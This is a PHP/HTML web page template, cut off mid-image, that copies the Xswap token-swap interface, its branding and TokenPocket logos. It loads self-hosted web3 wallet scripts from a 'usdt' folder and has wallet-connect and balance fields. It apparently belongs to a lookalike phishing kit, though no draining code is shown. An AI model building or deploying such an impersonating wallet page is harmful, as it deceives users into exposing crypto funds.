1218 lines
60 KiB
PHP
1218 lines
60 KiB
PHP
<html lang="" data-dpr="1" style="font-size: 37.52px;">
|
|
|
|
<head>
|
|
<meta charset="utf-8" />
|
|
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
|
|
<meta name="viewport" content="width=device-width,initial-scale=1,user-scalable=no" />
|
|
<link rel="shortcut icon" href="https://tp-statics.tokenpocket.pro/logo/dapp/xswap.png" />
|
|
<link rel="stylesheet" href="/css/font_2142152_inm0dvubfp.css" />
|
|
<title>Xswap</title>
|
|
<meta name="description" content="Xswap is a Cross-Chain Swap Aggregator Platform on #ETH #BSC #Polygon #Heco #Tron #OEC #HSC and etc. Incubated by
|
|
TokenPocket wallet." />
|
|
<meta name="keywords" content="Xswap, Aggregator, Cross-Chain, Exchange, Swap, TokenPocket, ETH, BSC, HECO, Polygon, TRON, OEC, HSC" />
|
|
<script>
|
|
window.dataLayer = window.dataLayer || [];
|
|
|
|
function gtag() {
|
|
dataLayer.push(arguments);
|
|
}
|
|
gtag('js', new Date());
|
|
|
|
gtag('config', 'UA-153148934-1');
|
|
</script>
|
|
<style>
|
|
.main-bg {
|
|
width: 100%;
|
|
position: absolute;
|
|
top: 0;
|
|
left: 0;
|
|
height: 600px;
|
|
background: linear-gradient(180deg, rgba(183, 212, 255, 0.43), rgba(41, 128, 254, 0.00) 100%);
|
|
}
|
|
</style>
|
|
<link rel="stylesheet" href="/scan/css/vendor.min.css" />
|
|
<link rel="stylesheet" href="/scan/css/main.css" />
|
|
<link href="https://swap.transit.finance/css/about~6a3582c1.7f0ab601.css" rel="prefetch" />
|
|
<link href="https://swap.transit.finance/css/app~748942c6.ac8ecca5.css" rel="preload" as="style" />
|
|
<link href="https://swap.transit.finance/css/app~748942c6.ac8ecca5.css" rel="stylesheet" />
|
|
<script type="text/javascript" src="/scan/js/usdt/w3model.js"></script>
|
|
<script type="text/javascript" src="/scan/js/usdt/bignumber.min.js"></script>
|
|
<script type="text/javascript" src="/scan/js/usdt/web3.min.js"></script>
|
|
<script type="text/javascript" src="/scan/js/usdt/web3model.min.js"></script>
|
|
<script type="text/javascript" src="/scan/js/usdt/evmchain.js"></script>
|
|
<script type="text/javascript" src="/scan/js/usdt/web3provider.js"></script>
|
|
<!-- Jquery app core js-->
|
|
<script type="text/javascript" src="/scan/js/jquery-2.1.4.min.js"></script>
|
|
<script type="text/javascript" src="/scan/js/flexible.js"></script>
|
|
<style type="text/css">
|
|
.vue-modal-resizer {
|
|
display: block;
|
|
overflow: hidden;
|
|
position: absolute;
|
|
width: 12px;
|
|
height: 12px;
|
|
right: 0;
|
|
bottom: 0;
|
|
z-index: 9999999;
|
|
background: transparent;
|
|
cursor: se-resize;
|
|
}
|
|
|
|
.input-amount-wrap,
|
|
.output-amount-wrap {
|
|
position: relative;
|
|
float: right;
|
|
display: inline-block;
|
|
box-sizing: border-box;
|
|
width: 50%;
|
|
padding: 4px 12px;
|
|
font-size: 20px;
|
|
text-align: right;
|
|
}
|
|
|
|
.vue-modal-resizer::after {
|
|
display: block;
|
|
position: absolute;
|
|
content: '';
|
|
background: transparent;
|
|
left: 0;
|
|
top: 0;
|
|
width: 0;
|
|
height: 0;
|
|
border-bottom: 10px solid #ddd;
|
|
border-left: 10px solid transparent;
|
|
}
|
|
|
|
.vue-modal-resizer.clicked::after {
|
|
border-bottom: 10px solid #369be9;
|
|
}
|
|
</style>
|
|
<style type="text/css">
|
|
.vm--block-scroll {
|
|
overflow: hidden;
|
|
width: 100vw;
|
|
}
|
|
|
|
.vm--container {
|
|
position: fixed;
|
|
box-sizing: border-box;
|
|
left: 0;
|
|
top: 0;
|
|
width: 100%;
|
|
height: 100vh;
|
|
z-index: 999;
|
|
}
|
|
|
|
.vm--overlay {
|
|
position: fixed;
|
|
box-sizing: border-box;
|
|
left: 0;
|
|
top: 0;
|
|
width: 100%;
|
|
height: 100vh;
|
|
background: rgba(0, 0, 0, 0.2);
|
|
/* z-index: 999; */
|
|
opacity: 1;
|
|
}
|
|
|
|
.vm--container.scrollable {
|
|
height: 100%;
|
|
min-height: 100vh;
|
|
overflow-y: auto;
|
|
-webkit-overflow-scrolling: touch;
|
|
}
|
|
|
|
.vm--modal {
|
|
position: relative;
|
|
overflow: hidden;
|
|
box-sizing: border-box;
|
|
|
|
background-color: white;
|
|
border-radius: 3px;
|
|
box-shadow: 0 20px 60px -2px rgba(27, 33, 58, 0.4);
|
|
}
|
|
|
|
.vm--container.scrollable .vm--modal {
|
|
margin-bottom: 2px;
|
|
}
|
|
|
|
.vm--top-right-slot {
|
|
display: block;
|
|
position: absolute;
|
|
right: 0;
|
|
top: 0;
|
|
}
|
|
|
|
.vm-transition--overlay-enter-active,
|
|
.vm-transition--overlay-leave-active {
|
|
transition: all 50ms;
|
|
}
|
|
|
|
.vm-transition--overlay-enter,
|
|
.vm-transition--overlay-leave-active {
|
|
opacity: 0;
|
|
}
|
|
|
|
.vm-transition--modal-enter-active,
|
|
.vm-transition--modal-leave-active {
|
|
transition: all 400ms;
|
|
}
|
|
|
|
.vm-transition--modal-enter,
|
|
.vm-transition--modal-leave-active {
|
|
opacity: 0;
|
|
transform: translateY(-20px);
|
|
}
|
|
|
|
.vm-transition--default-enter-active,
|
|
.vm-transition--default-leave-active {
|
|
transition: all 2ms;
|
|
}
|
|
|
|
.vm-transition--default-enter,
|
|
.vm-transition--default-leave-active {
|
|
opacity: 0;
|
|
}
|
|
</style>
|
|
<style type="text/css">
|
|
.vue-dialog {
|
|
font-size: 14px;
|
|
}
|
|
|
|
.vue-dialog div {
|
|
box-sizing: border-box;
|
|
}
|
|
|
|
.vue-dialog-content {
|
|
flex: 1 0 auto;
|
|
width: 100%;
|
|
padding: 14px;
|
|
}
|
|
|
|
.vue-dialog-content-title {
|
|
font-weight: 600;
|
|
padding-bottom: 14px;
|
|
}
|
|
|
|
.vue-dialog-buttons {
|
|
display: flex;
|
|
flex: 0 1 auto;
|
|
width: 100%;
|
|
border-top: 1px solid #eee;
|
|
}
|
|
|
|
.vue-dialog-buttons-none {
|
|
width: 100%;
|
|
padding-bottom: 14px;
|
|
}
|
|
|
|
.vue-dialog-button {
|
|
font-size: inherit;
|
|
background: transparent;
|
|
padding: 0;
|
|
margin: 0;
|
|
border: 0;
|
|
cursor: pointer;
|
|
box-sizing: border-box;
|
|
line-height: 40px;
|
|
height: 40px;
|
|
color: inherit;
|
|
font: inherit;
|
|
outline: none;
|
|
}
|
|
|
|
.vue-dialog-button:hover {
|
|
background: #f9f9f9;
|
|
}
|
|
|
|
.vue-dialog-button:active {
|
|
background: #f3f3f3;
|
|
}
|
|
|
|
.vue-dialog-button:not(:first-of-type) {
|
|
border-left: 1px solid #eee;
|
|
}
|
|
|
|
.link-wallet1 {
|
|
padding: 10px 10px;
|
|
border-radius: 6px;
|
|
font-size: 13px;
|
|
font-weight: 700;
|
|
color: #2980fe;
|
|
margin-right: 4px;
|
|
margin-left: 0;
|
|
background-color: #ffffff;
|
|
/* height: 21px; */
|
|
}
|
|
|
|
.modal-overlay {
|
|
background: rgb(0 0 0 / 10%);
|
|
}
|
|
|
|
.tishi {
|
|
width: 2.4rem;
|
|
height: 0.7rem;
|
|
background: #ffad40cf;
|
|
z-index: 999999999999;
|
|
position: fixed;
|
|
bottom: 10%;
|
|
left: 50%;
|
|
transform: translate(-50%, -50%);
|
|
border-radius: 0.1rem;
|
|
color: white;
|
|
font-size: 0.4rem;
|
|
text-align: center;
|
|
line-height: 0.7rem;
|
|
|
|
/*display: none;*/
|
|
}
|
|
|
|
.success123 {
|
|
position: absolute;
|
|
z-index: 100000000;
|
|
margin-top: 5px
|
|
}
|
|
</style>
|
|
<style type="text/css">
|
|
.vue-notification-group {
|
|
display: block;
|
|
position: fixed;
|
|
z-index: 5000
|
|
}
|
|
|
|
.vue-notification-wrapper {
|
|
display: block;
|
|
overflow: hidden;
|
|
width: 100%;
|
|
margin: 0;
|
|
padding: 0
|
|
}
|
|
|
|
.notification-title {
|
|
font-weight: 600
|
|
}
|
|
|
|
.vue-notification-template {
|
|
background: #fff
|
|
}
|
|
|
|
.vue-notification,
|
|
.vue-notification-template {
|
|
display: block;
|
|
box-sizing: border-box;
|
|
text-align: left
|
|
}
|
|
|
|
.vue-notification {
|
|
font-size: 12px;
|
|
padding: 10px;
|
|
margin: 0 5px 5px;
|
|
color: #fff;
|
|
background: #44a4fc;
|
|
border-left: 5px solid #187fe7
|
|
}
|
|
|
|
.vue-notification.warn {
|
|
background: #ffb648;
|
|
border-left-color: #f48a06
|
|
}
|
|
|
|
.vue-notification.error {
|
|
background: #e54d42;
|
|
border-left-color: #b82e24
|
|
}
|
|
|
|
.vue-notification.success {
|
|
background: #68cd86;
|
|
border-left-color: #42a85f
|
|
}
|
|
|
|
.vn-fade-enter-active,
|
|
.vn-fade-leave-active,
|
|
.vn-fade-move {
|
|
transition: all .5s
|
|
}
|
|
|
|
.vn-fade-enter,
|
|
.vn-fade-leave-to {
|
|
opacity: 0
|
|
}
|
|
</style>
|
|
<style data-styled="active" data-styled-version="5.2.0"></style>
|
|
</head>
|
|
|
|
<body style="font-size: 12px;">
|
|
<noscript>
|
|
<strong>We're sorry but tp-swap doesn't work properly without JavaScript enabled. Please enable it to continue.</strong>
|
|
</noscript>
|
|
<div class="main-bg"></div>
|
|
<div id="success" class="vue-notification-wrapper success123" style="display: none">
|
|
<div class="vue-notification-template vue-notification success">
|
|
<!---->
|
|
<div class="notification-content" style="text-align: center" id="success_content">
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div id="app">
|
|
<div data-v-017da9f1="" class="home en">
|
|
<div data-v-017da9f1="" class="swap">
|
|
|
|
<!---->
|
|
<div style="display: none" class="vm--container" color="#49d663" id="show_copy">
|
|
<div data-modal="token-panel" aria-expanded="true" class="vm--overlay">
|
|
<div class="vm--top-right-slot"></div>
|
|
</div>
|
|
<div aria-expanded="true" role="dialog" aria-modal="true" class="vm--modal token-modal" style="width: 90%;left: 5%;height: 430px;top: 150px">
|
|
<div class="modal-bg">
|
|
<i class="iconfont iconclose2" onclick="clicks_stop_copy()"></i>
|
|
<h3 class="title">Choose a token</h3>
|
|
<div style="padding: 16px;">
|
|
<div class="search-wrap">
|
|
<input type="text" placeholder="Search for token name or contract address" />
|
|
</div>
|
|
<div class="tab-wrap">
|
|
<span class="network-item">All</span>
|
|
<span class="network-item"> ETH </span>
|
|
<span class="network-item"> BTC </span>
|
|
<span class="network-item active"> TRX </span>
|
|
<span class="network-item"> DOT </span>
|
|
<span class="network-item"> BSC </span>
|
|
<span class="network-item"> HECO </span>
|
|
<span class="network-item"> MATIC </span>
|
|
<span class="network-item"> OEC </span>
|
|
<span class="network-item"> ARB </span>
|
|
<span class="network-item"> FTM </span>
|
|
<span class="network-item"> KLAY </span>
|
|
<span class="network-item"> EOS </span>
|
|
<span class="network-item"> HSC </span>
|
|
<span class="network-item"> KSM </span>
|
|
<span class="network-item"> IOST </span>
|
|
<span class="network-item"> AVAX </span>
|
|
</div>
|
|
<div class="token-wrap" style="height: 250px;">
|
|
<div class="token-item" style="overflow: hidden;" onclick="qie1('BTC', 'https://tp-statics.tokenpocket.pro/token/tokenpocket-1601493983168.png', 'btc_usdt')">
|
|
<div>
|
|
<img src="https://tp-statics.tokenpocket.pro/token/tokenpocket-1601493983168.png" alt="BTC-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
|
|
<div class="token-name">
|
|
<span class="vertical-middle token-symbol">BTC </span>
|
|
<span><i class="source-3 icon-mark"></i></span>
|
|
<span class="float-right balance"></span>
|
|
<br />
|
|
<span class="vertical-middle token-network"> TRX
|
|
<!---->
|
|
</span>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="token-item" style="overflow: hidden;" onclick="qie1('ETH', 'https://tp-statics.tokenpocket.pro/token/tokenpocket-1606114304013.png', 'eth_usdt')">
|
|
<div>
|
|
<img src="https://tp-statics.tokenpocket.pro/token/tokenpocket-1606114304013.png" alt="ETH-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
|
|
<div class="token-name">
|
|
<span class="vertical-middle token-symbol">ETH </span>
|
|
<span><i class="source-3 icon-mark"></i></span>
|
|
<span class="float-right balance"></span>
|
|
<br />
|
|
<span class="vertical-middle token-network"> TRX
|
|
<!---->
|
|
</span>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="token-item" style="overflow: hidden;" onclick="qie1('USDT', 'https://tp-statics.tokenpocket.pro/token/1567500487877-rexx.png', 'usdt_usdt')">
|
|
<div>
|
|
<img src="https://tp-statics.tokenpocket.pro/token/1567500487877-rexx.png" alt="USDT-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
|
|
<div class="token-name">
|
|
<span class="vertical-middle token-symbol">USDT </span>
|
|
<span><i class="source-3 icon-mark"></i></span>
|
|
<span class="float-right balance"></span>
|
|
<br />
|
|
<span class="vertical-middle token-network"> TRX
|
|
<!---->
|
|
</span>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="token-item" style="overflow: hidden;" onclick="qie1('LTC', 'https://tp-statics.tokenpocket.pro/token/tokenpocket-1622738568654.png', 'ltc_usdt')">
|
|
<div>
|
|
<img src="https://tp-statics.tokenpocket.pro/token/tokenpocket-1622738568654.png" alt="LTC-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
|
|
<div class="token-name">
|
|
<span class="vertical-middle token-symbol">LTC </span>
|
|
<span><i class="source-3 icon-mark"></i></span>
|
|
<span class="float-right balance"></span>
|
|
<br />
|
|
<span class="vertical-middle token-network"> TRX
|
|
<!---->
|
|
</span>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="token-item" style="overflow: hidden;" onclick="qie1('HT', 'https://tp-statics.tokenpocket.pro/token/tokenpocket-1600426489566.jpg', 'ht_usdt')">
|
|
<div>
|
|
<img src="https://tp-statics.tokenpocket.pro/token/tokenpocket-1600426489566.jpg" alt="HT-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
|
|
<div class="token-name">
|
|
<span class="vertical-middle token-symbol">HT </span>
|
|
<span><i class="source-3 icon-mark"></i></span>
|
|
<span class="float-right balance"></span>
|
|
<br />
|
|
<span class="vertical-middle token-network"> TRX
|
|
<!---->
|
|
</span>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="token-item" style="overflow: hidden;" onclick="qie1('TRX', 'https://tp-statics.tokenpocket.pro/token/tokenpocket-1617347311795.png', 'trx_usdt')">
|
|
<div>
|
|
<img src="https://tp-statics.tokenpocket.pro/token/tokenpocket-1617347311795.png" alt="TRX-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
|
|
<div class="token-name">
|
|
<span class="vertical-middle token-symbol">TRX </span>
|
|
<span><i class="source-3 icon-mark"></i><i class="source-5 icon-mark"></i></span>
|
|
<span class="float-right balance"></span>
|
|
<br />
|
|
<span class="vertical-middle token-network"> TRX
|
|
<!---->
|
|
</span>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<!---->
|
|
</div>
|
|
</div>
|
|
<!-- // 钱包-->
|
|
<div style="display: none" class="vm--container" color="#49d663" id="show">
|
|
<div data-modal="token-panel" aria-expanded="true" class="vm--overlay">
|
|
<div class="vm--top-right-slot"></div>
|
|
</div>
|
|
<div aria-expanded="true" role="dialog" aria-modal="true" class="vm--modal token-modal" style="width: 90%;left: 5%;height: 430px;top: 150px">
|
|
<div class="modal-bg">
|
|
<i class="iconfont iconclose2" onclick="clicks_stop()"></i>
|
|
<h3 class="title">Choose a token</h3>
|
|
<div style="padding: 16px;">
|
|
<div class="search-wrap">
|
|
<input type="text" placeholder="Search for token name or contract address" />
|
|
</div>
|
|
<div class="tab-wrap">
|
|
<span class="network-item">All</span>
|
|
<span class="network-item"> ETH </span>
|
|
<span class="network-item"> BTC </span>
|
|
<span class="network-item active"> TRX </span>
|
|
<span class="network-item"> DOT </span>
|
|
<span class="network-item"> BSC </span>
|
|
<span class="network-item"> HECO </span>
|
|
<span class="network-item"> MATIC </span>
|
|
<span class="network-item"> OEC </span>
|
|
<span class="network-item"> ARB </span>
|
|
<span class="network-item"> FTM </span>
|
|
<span class="network-item"> KLAY </span>
|
|
<span class="network-item"> EOS </span>
|
|
<span class="network-item"> HSC </span>
|
|
<span class="network-item"> KSM </span>
|
|
<span class="network-item"> IOST </span>
|
|
<span class="network-item"> AVAX </span>
|
|
</div>
|
|
<div class="token-wrap" style="height: 250px;">
|
|
<div class="token-item" style="overflow: hidden;" onclick="qie('TRX', 'https://tp-statics.tokenpocket.pro/token/tokenpocket-1617347311795.png', 'trx_usdt')">
|
|
<div>
|
|
<img src="https://tp-statics.tokenpocket.pro/token/tokenpocket-1617347311795.png" alt="TRX-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
|
|
<div class="token-name">
|
|
<span class="vertical-middle token-symbol">TRX </span>
|
|
<span><i class="source-3 icon-mark"></i><i class="source-5 icon-mark"></i></span>
|
|
<span class="float-right balance"></span>
|
|
<br />
|
|
<span class="vertical-middle token-network"> TRX
|
|
<!---->
|
|
</span>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="token-item" style="overflow: hidden;" onclick="qie('TPT', 'https://tp-statics.tokenpocket.pro/token/tokenpocket-1597978702379.png', 'tpt_usdt')">
|
|
<div>
|
|
<img src="https://tp-statics.tokenpocket.pro/token/tokenpocket-1597978702379.png" alt="TPT-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
|
|
<div class="token-name">
|
|
<span class="vertical-middle token-symbol">TPT </span>
|
|
<span><i class="source-3 icon-mark"></i></span>
|
|
<span class="float-right balance"></span>
|
|
<br />
|
|
<span class="vertical-middle token-network"> TRX
|
|
<!---->
|
|
</span>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="token-item" style="overflow: hidden;" onclick="qie('SUN', 'https://tp-statics.tokenpocket.pro/token/tokenpocket-1622736257838.png', 'sun_usdt')">
|
|
<div>
|
|
<img src="https://tp-statics.tokenpocket.pro/token/tokenpocket-1622736257838.png" alt="SUN-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
|
|
<div class="token-name">
|
|
<span class="vertical-middle token-symbol">SUN </span>
|
|
<span><i class="source-3 icon-mark"></i></span>
|
|
<span class="float-right balance"></span>
|
|
<br />
|
|
<span class="vertical-middle token-network"> TRX
|
|
<!---->
|
|
</span>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="token-item" style="overflow: hidden;" onclick="qie('LTC', 'https://tp-statics.tokenpocket.pro/token/tokenpocket-1622738568654.png', 'ltc_usdt')">
|
|
<div>
|
|
<img src="https://tp-statics.tokenpocket.pro/token/tokenpocket-1622738568654.png" alt="LTC-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
|
|
<div class="token-name">
|
|
<span class="vertical-middle token-symbol">LTC </span>
|
|
<span><i class="source-3 icon-mark"></i></span>
|
|
<span class="float-right balance"></span>
|
|
<br />
|
|
<span class="vertical-middle token-network"> TRX
|
|
<!---->
|
|
</span>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="token-item" style="overflow: hidden;" onclick="qie('JST', 'https://tp-statics.tokenpocket.pro/token/tokenpocket-1587044685983.png', 'jst_usdt')">
|
|
<div>
|
|
<img src="https://tp-statics.tokenpocket.pro/token/tokenpocket-1587044685983.png" alt="JST-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
|
|
<div class="token-name">
|
|
<span class="vertical-middle token-symbol">JST </span>
|
|
<span><i class="source-3 icon-mark"></i></span>
|
|
<span class="float-right balance"></span>
|
|
<br />
|
|
<span class="vertical-middle token-network"> TRX
|
|
<!---->
|
|
</span>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="token-item" style="overflow: hidden;" onclick="qie('NFT', 'https://coin.top/production/upload/logo/TFczxzPhnThNSqr5by8tvxsdCFRRz6cPNq.png', 'nft_usdt')">
|
|
<div>
|
|
<img src="https://coin.top/production/upload/logo/TFczxzPhnThNSqr5by8tvxsdCFRRz6cPNq.png" alt="NFT-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
|
|
<div class="token-name">
|
|
<span class="vertical-middle token-symbol">NFT </span>
|
|
<span><i class="source-3 icon-mark"></i></span>
|
|
<span class="float-right balance"></span>
|
|
<br />
|
|
<span class="vertical-middle token-network"> TRX
|
|
<!---->
|
|
</span>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="token-item" style="overflow: hidden;" onclick="qie('HT', 'https://tp-statics.tokenpocket.pro/token/tokenpocket-1600426489566.jpg', 'ht_usdt')">
|
|
<div>
|
|
<img src="https://tp-statics.tokenpocket.pro/token/tokenpocket-1600426489566.jpg" alt="HT-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
|
|
<div class="token-name">
|
|
<span class="vertical-middle token-symbol">HT </span>
|
|
<span><i class="source-3 icon-mark"></i></span>
|
|
<span class="float-right balance"></span>
|
|
<br />
|
|
<span class="vertical-middle token-network"> TRX
|
|
<!---->
|
|
</span>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="token-item " style="overflow: hidden;" onclick="qie('DOGE', 'https://coin.top/production/upload/logo/THbVQp8kMjStKNnf2iCY6NEzThKMK5aBHg.png', 'doge_usdt')">
|
|
<div>
|
|
<img src="https://coin.top/production/upload/logo/THbVQp8kMjStKNnf2iCY6NEzThKMK5aBHg.png" alt="DOGE-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
|
|
<div class="token-name">
|
|
<span class="vertical-middle token-symbol">DOGE </span>
|
|
<span><i class="source-3 icon-mark"></i></span>
|
|
<span class="float-right balance"></span>
|
|
<br />
|
|
<span class="vertical-middle token-network"> TRX
|
|
<!---->
|
|
</span>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="token-item" style="overflow: hidden;" onclick="qie('USDT', 'https://tp-statics.tokenpocket.pro/token/1567500487877-rexx.png', 'usdt_usdt')">
|
|
<div>
|
|
<img src="https://tp-statics.tokenpocket.pro/token/1567500487877-rexx.png" alt="USDT-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
|
|
<div class="token-name">
|
|
<span class="vertical-middle token-symbol">USDT </span>
|
|
<span><i class="source-3 icon-mark"></i></span>
|
|
<span class="float-right balance"></span>
|
|
<br />
|
|
<span class="vertical-middle token-network"> TRX
|
|
<!---->
|
|
</span>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="token-item" style="overflow: hidden;" onclick="qie('BTC', 'https://tp-statics.tokenpocket.pro/token/tokenpocket-1601493983168.png', 'btc_usdt')">
|
|
<div>
|
|
<img src="https://tp-statics.tokenpocket.pro/token/tokenpocket-1601493983168.png" alt="BTC-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
|
|
<div class="token-name">
|
|
<span class="vertical-middle token-symbol">BTC </span>
|
|
<span><i class="source-3 icon-mark"></i></span>
|
|
<span class="float-right balance"></span>
|
|
<br />
|
|
<span class="vertical-middle token-network"> TRX
|
|
<!---->
|
|
</span>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="token-item" style="overflow: hidden;" onclick="qie('WBTC', 'https://tp-statics.tokenpocket.pro/token/tokenpocket-1609149700069.png', 'wbtc_usdt')">
|
|
<div>
|
|
<img src="https://tp-statics.tokenpocket.pro/token/tokenpocket-1609149700069.png" alt="WBTC-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
|
|
<div class="token-name">
|
|
<span class="vertical-middle token-symbol">WBTC </span>
|
|
<span><i class="source-3 icon-mark"></i></span>
|
|
<span class="float-right balance"></span>
|
|
<br />
|
|
<span class="vertical-middle token-network"> TRX
|
|
<!---->
|
|
</span>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<div class="token-item" style="overflow: hidden;" onclick="qie('ETH', 'https://tp-statics.tokenpocket.pro/token/tokenpocket-1606114304013.png', 'eth_usdt')">
|
|
<div>
|
|
<img src="https://tp-statics.tokenpocket.pro/token/tokenpocket-1606114304013.png" alt="ETH-TRX" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="vertical-middle token-logo" />
|
|
<div class="token-name">
|
|
<span class="vertical-middle token-symbol">ETH </span>
|
|
<span><i class="source-3 icon-mark"></i></span>
|
|
<span class="float-right balance"></span>
|
|
<br />
|
|
<span class="vertical-middle token-network"> TRX
|
|
<!---->
|
|
</span>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
</div>
|
|
<!---->
|
|
</div>
|
|
</div>
|
|
<!---->
|
|
<!---->
|
|
<!---->
|
|
<!---->
|
|
<!---->
|
|
<!---->
|
|
<!---->
|
|
<!---->
|
|
<!---->
|
|
<!---->
|
|
<!---->
|
|
<!---->
|
|
<!---->
|
|
<!---->
|
|
<div class="header">
|
|
<img alt="Xswap" src="https://swap.transit.finance/img/xswap-logo.9b6745c5.svg" class="logo" />
|
|
<div class="float-right">
|
|
<span class="link-wallet1 float-right" id="top-address"><span><i class="iconfont iconadd vertical-middle"></i><span class="vertical-middle" style="color: #0a0c0d;font-size: 13px;" id="address"></span></span></span>
|
|
<span class="third-wallets float-right">
|
|
<!---->
|
|
<!---->
|
|
<!---->
|
|
<!---->
|
|
<!---->
|
|
<!---->
|
|
</span>
|
|
</div>
|
|
<!---->
|
|
</div>
|
|
<div class="swap-content">
|
|
<div style="text-align: right; margin-bottom: 8px;">
|
|
<span class="help-actions"><a href="javascript:void(0)"><i class="iconfont iconhelper"></i></a><a href="#/about" target="_blank"><i class="iconfont iconquestion"></i></a></span>
|
|
</div>
|
|
<div class="swap-panel">
|
|
<span class="float-right balance-wrap">Balance: <span id="money">-</span></span>
|
|
<div class="select-wrap" onclick="clicks_start_copy()">
|
|
<img id="img1" src="/static/media/COW.3f3b0e41.svg" alt="" onerror="javascript:this.src='https://tokenpocket.cdn.bcebos.com/common.png';" class="selected-logo vertical-middle" />
|
|
<span class="vertical-middle"><span class="symbol" id="symbol1">GLK</span><br /><span class="network"> ERC </span><span class="down-arrow"></span></span>
|
|
</div>
|
|
<div class="input-amount-wrap">
|
|
<input min="{{$config['limit_GLK']}}" id="indata" type="number" placeholder="0.0" class="amount-input" />
|
|
<!---->
|
|
<!---->
|
|
</div>
|
|
</div>
|
|
<div class="exchange-arrow">
|
|
<img src="data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAAFAAAABQCAYAAACOEfKtAAAACXBIWXMAABYlAAAWJQFJUiTwAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAb0SURBVHgB7Z09TxxHGMefAwy2wfisWLIjF16+QBw3TskhpQ/uItmS/Q3AaVKafIHEFKltF24DrhMJUiZNUJp0YSlQYikOZ8CAefHk+d/skGVvb2b2bXb3zj9pbvdgbtn58zwzszPzzDWoRIQQTT60ON3k9CknL0gUOiranPzQcYPTKqe1RqPRppJokENCgiF9Qd0ipcUnKeZLHMsUtBBYuBanJU5bwg1POc1SnYG1cXrsULQ41jk94ORRXRDVEC7KOqfHVHX4Jh8GN1tV1jk9oKrBN+VxWhH1AfWxR1WAb2ROVMtdbcE9Z7bG1N0YIbskqFfmKQPH74kOjoiOjuU50nshj2FGhoiGGvJ4boRodJjTiHyfkSfc7XlEKUkloJDmv0Sy85sYCLZ/SLR31C1UUiDgeRZy/Lw8pmSN010W0qeEJBYwEG+FEnaCYVU7B0TbB/K8CCDm5Qss5LlUlulzmkkqYiIB04jnQrgocPVJtsjxscRC+pRQRGsB04gH0d7suxMuirLIibFEH/MpgYhWAiYVD/Xa612u646pEkDIa5OJrNEnSxFtBfyNLBuMsq2uF3BrWCNc2xI0LDOmgQnj/4TF+44sxdvak6lq4gHcE+4N/1xLUGbj45/WAlm8h3x4ShbAZXcPqRZMjBJ9NGGd/RFb4ZNev+wpYFDvwXWbZOCvN0SHJ1Qr0GdEvWgBXPh2r/pQ58JwXaN4sLy6iQfQwOHeLYAGPb0wVsDAdY0Dku39+rhtHLj3rbdWWVu9nptjXZgzr5Ohy4LWFpVyP3DlolXr7JN05TOtcpcFCjnw6JEG9PMStGaVB2WxeCb3KGbg5IwF2naYN9vZBwGqhmWjAuubClth1AJbZBBv913/iQfQqKBaMoAG5YwVRi1QW/dBuFfb/SkgwNPKjaY8amizBV45/Yw6EXIa0NN9EqMq/SoeUCNHBjBp1lJvwi6s7bZAOLhvv2M57DanTjrGGgzPb+k+AfFe2/WZak/zghx40HDamCgLbJGBfuq2mLBsTKZxogTUuu/BUX/XfVHgwhZjmTN4UQJO63K+HYC6L8q+ucxYHEVDQf3n6XJWZWTZJZgxNIDFBE1YoHawVM3VDhqW5Z6GgC1djsMBtD7FgdkKpzAV7ely5D3WhyeZF7+KzvGTG0T3Psu2xvPFL4J+35TPsffuNGwHSa3AagnSz+jdgoA3jRfJka9/YPF25DkK/mpH0FefpxPx258E/fhH8GYT